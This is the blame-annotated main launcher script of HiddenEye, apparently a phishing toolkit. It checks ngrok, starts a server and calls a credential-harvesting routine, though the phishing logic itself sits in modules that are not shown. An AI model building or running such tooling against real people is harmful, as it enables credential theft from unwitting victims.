2018-10-30 23:43:48 +08:00
|
|
|
#!/usr/bin/python3
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
#HiddenEye by Open Source Community
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
import multiprocessing
|
2018-10-31 10:28:03 +08:00
|
|
|
import gettext
|
2018-10-30 23:16:49 +08:00
|
|
|
from Defs.Checks import *
|
|
|
|
from Defs.Configurations import *
|
|
|
|
from Defs.Actions import *
|
2018-11-20 01:49:09 +08:00
|
|
|
from Defs.Languages import *
|
|
|
|
#ru = gettext.translation('hiddeneye',localedir='./locale', languages=['ru'])
|
|
|
|
#ru.install()
|
2018-10-29 03:49:19 +08:00
|
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
|
|
|
|
2018-11-20 01:49:09 +08:00
|
|
|
checkAndSetLanguage()
|
2018-10-29 03:49:19 +08:00
|
|
|
checkConnection()
|
|
|
|
checkNgrok()
|
|
|
|
|
|
|
|
ifSettingsNotExists()
|
|
|
|
readConfig()
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
|
|
|
runMainMenu()
|
|
|
|
|
|
|
|
inputCustom()
|
|
|
|
##############
|
|
|
|
selectServer()
|
2018-10-30 22:32:47 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
multiprocessing.Process(target=runServer).start()
|
|
|
|
getCredentials()
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
endMessage()
|
|
|
|
exit(0)
|